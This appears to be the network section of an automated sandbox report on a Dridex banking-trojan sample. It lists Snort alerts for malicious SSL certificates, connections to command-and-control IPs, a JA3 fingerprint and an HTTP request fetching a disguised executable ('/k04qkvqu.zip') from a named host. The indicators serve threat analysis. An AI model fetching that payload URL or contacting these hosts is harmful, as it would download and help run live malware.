Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49262
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49263
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49263
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49265
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49266
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49267
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49267
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49269
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49270
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49271
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49271
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49273
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49274
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49275
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49275
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49277
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49278
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49279
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49279
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49281
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49282
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49283
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49283
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49285
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49286
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49287
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49287
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49289
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49290
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49291
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49291
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49293
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49294
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49295
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49295
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49297
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49298
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49299
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49299
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49301
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49302
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49303
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49303
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49305
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49306
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49307
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49307
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49309
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49310
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49311
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49311
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49313
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49314
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49315
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49315
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49317
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49318
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49319
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49319
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49321
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49322
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49323
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49323
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49325
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49326
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49327
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49327
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49329
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49330
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49331
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49331
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49333
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49334
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49335
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49335
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49337
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49338
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49339
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49339
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49341
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49342
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49343
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49343
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49345
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49346
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49347
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49347
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49349
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49350
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49351
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49351
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49353
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49354
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49355
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49355
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49357
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49358
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49359
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49359
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49361
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49362
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49363
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49363
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49365
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49366
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49367
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49367
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49369
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49370
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49371
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49371
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49373
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49374
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49375
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49375
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49377
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49378
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49379
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49379
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49381
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49382
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49383
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49383
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49385
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49386
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49387
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49387
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49389
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49390
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49391
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49391
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49393
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49394
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49395
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49395
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49397
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49398

Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 80.86.91.27:3308
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 5.100.228.233:3389
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 46.105.131.65:1512

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKdate: Mon, 11 Jan 2021 19:47:36 GMTserver: Apachelast-modified: Mon, 11 Jan 2021 08:08:04 GMTaccept-ranges: bytescontent-length: 318976content-type: application/zipData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 c1 97 fc 5f 00 00 00 00 00 00 00 00 e0 00 0e 21 0b 01 02 32 00 7a 04 00 00 60 00 00 00 00 00 00 d0 26 00 00 00 10 00 00 00 40 00 00 00 00 00 10 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 05 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 82 00 00 8c 00 00 00 00 00 05 00 7c 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 05 00 50 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b4 86 00 00 90 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f2 24 00 00 00 10 00 00 00 26 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e1 00 00 00 00 40 00 00 00 02 00 00 00 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 64 61 74 61 33 00 d8 03 00 00 00 50 00 00 00 04 00 00 00 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 32 00 00 00 00 00 00 0a 00 00 00 00 60 00 00 00 02 00 00 00 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 64 61 74 61 32 00 46 00 00 00 00 70 00 00 00 02 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 60 1b 00 00 00 80 00 00 00 1c 00 00 00 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 65 78 74 34 00 00 cc 52 04 00 00 a0 00 00 00 54 04 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 40 2e 72 73 72 63 00 00 00 7c 2e 00 00 00 00 05 00 00 30 00 00 00 a4 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 50 09 00 00 00 30 05 00 00 0a 00 00 00 d4 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: Joe Sandbox View	IP Address: 5.100.228.233 5.100.228.233
Source: Joe Sandbox View	IP Address: 80.86.91.27 80.86.91.27
Source: Joe Sandbox View	IP Address: 46.105.131.65 46.105.131.65
Source: Joe Sandbox View	IP Address: 77.220.64.37 77.220.64.37

Source: Joe Sandbox View	ASN Name: SENTIANL SENTIANL
Source: Joe Sandbox View	ASN Name: GD-EMEA-DC-SXB1DE GD-EMEA-DC-SXB1DE
Source: Joe Sandbox View	ASN Name: OVHFR OVHFR

Source: Joe Sandbox View

JA3 fingerprint: eb88d0b3e1961a0562f006e5ce2a0b87

Source: global traffic

HTTP traffic detected: GET /k04qkvqu.zip HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: wexfashion.comConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 77.220.64.37
Source: unknown	TCP traffic detected without corresponding DNS query: 77.220.64.37
Source: unknown	TCP traffic detected without corresponding DNS query: 77.220.64.37
Source: unknown	TCP traffic detected without corresponding DNS query: 77.220.64.37
Source: unknown	TCP traffic detected without corresponding DNS query: 77.220.64.37
Source: unknown	TCP traffic detected without corresponding DNS query: 77.220.64.37
Source: unknown	TCP traffic detected without corresponding DNS query: 77.220.64.37
Source: unknown	TCP traffic detected without corresponding DNS query: 77.220.64.37
Source: unknown	TCP traffic detected without corresponding DNS query: 77.220.64.37
Source: unknown	TCP traffic detected without corresponding DNS query: 77.220.64.37
Source: unknown	TCP traffic detected without corresponding DNS query: 77.220.64.37
